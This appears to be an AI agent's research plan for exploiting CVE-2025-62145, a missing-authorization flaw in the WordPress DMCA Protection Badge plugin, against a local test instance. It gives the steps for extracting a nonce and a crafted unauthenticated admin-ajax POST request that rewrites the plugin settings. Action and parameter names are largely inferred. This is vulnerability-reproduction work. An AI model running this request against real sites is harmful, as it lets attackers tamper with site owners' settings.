Research Plan: CVE-2025-62145 - DMCA Protection Badge Missing Authorization

This research plan focuses on identifying and exploiting a missing authorization vulnerability in the DMCA Protection Badge plugin for WordPress (versions <= 2.2.0).

1. Vulnerability Summary

The DMCA Protection Badge plugin is vulnerable to unauthorized access because it fails to perform capability checks (e.g., current_user_can( 'manage_options' )) on one of its AJAX or initialization handlers. This allows unauthenticated attackers to trigger actions that should be restricted to administrators, such as modifying plugin settings or updating account information.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Hook: wp_ajax_nopriv_{action} (inferred) or wp_ajax_{action} (if no capability check exists inside the function).
• Likely Action Name: dmca_badge_save_settings or dmca_save_account (inferred).
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. If the handler requires a nonce, it must be retrievable from the public-facing site.

3. Code Flow (Inferred)

1. The plugin registers an AJAX handler in its main file or an includes/class-admin.php file using:
   add_action( 'wp_ajax_nopriv_dmca_badge_save_settings', 'dmca_badge_save_settings_callback' );
2. The dmca_badge_save_settings_callback() function is executed when a POST request is sent to admin-ajax.php with the corresponding action.
3. The function likely performs a wp_verify_nonce() (or check_ajax_referer()) but crucially fails to call current_user_can().
4. The function then updates plugin options using update_option( 'dmca_badge_settings', ... ) or similar, based on $_POST data.

4. Nonce Acquisition Strategy

If the vulnerable function uses check_ajax_referer or wp_verify_nonce, the nonce is likely localized for the frontend.

1. Identify Shortcode: Search for shortcodes used by the plugin:
   grep -rn "add_shortcode" /var/www/html/wp-content/plugins/dmca-badge/
2. Create Test Page:
   wp post create --post_type=page --post_title="DMCA Test" --post_status=publish --post_content='[dmca-badge]' (Replace [dmca-badge] with the actual shortcode found).
3. Find Localization Key: Search for wp_localize_script in the plugin source to find the JavaScript object name.
   grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/dmca-badge/
   Target Identification: Look for an object like dmca_badge_obj and a key like nonce.
4. Extract Nonce:
   Use browser_navigate to the test page, then:
   browser_eval("window.dmca_badge_obj?.nonce") (Replace dmca_badge_obj with the real key).

5. Exploitation Strategy

Once the action name and nonce are confirmed:

1. Craft the Payload: Determine the parameters required to update settings. This usually involves a settings array or a specific ID.
   Example Target: Changing the DMCA account ID or email to redirect protection data/badges.

2. Send the Request:
   Use the http_request tool to send a POST request to the AJAX endpoint.

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: localhost:8080
   Content-Type: application/x-www-form-urlencoded
   
   action=dmca_badge_save_settings&nonce=[EXTRACTED_NONCE]&dmca_badge_id=999999&dmca_badge_email=attacker@example.com
   

   (Note: Parameter names like dmca_badge_id must be verified by grepping for update_option or $_POST in the plugin's source code).

6. Test Data Setup

1. Install and activate the DMCA Protection Badge plugin v2.2.0.
2. Configure a dummy DMCA ID via the admin panel (/wp-admin/admin.php?page=dmca-badge) to establish initial state.
3. Create a public page with the plugin's shortcode (if needed for nonce extraction).

7. Expected Results

• Response: The server should return a 200 OK and potentially a JSON response like {"success": true} or 1.
• Effect: The plugin settings in the WordPress database will be modified to match the attacker's payload.

8. Verification Steps

After the HTTP request, verify the change using WP-CLI:

1. Check Plugin Options:
   wp option get dmca_badge_settings (Verify if the ID or email has changed).
2. Verify DB State:
   wp db query "SELECT option_value FROM wp_options WHERE option_name = 'dmca_badge_settings'"

9. Alternative Approaches

If no wp_ajax_nopriv action is found, check for:

• Hook init or admin_init: Search for functions hooked to these that process $_POST variables without checking is_admin() or current_user_can().
  grep -rn "add_action.*init" /var/www/html/wp-content/plugins/dmca-badge/
• REST API: Check if the plugin registers a REST route via register_rest_route with permission_callback set to __return_true or missing.
  grep -rn "register_rest_route" /var/www/html/wp-content/plugins/dmca-badge/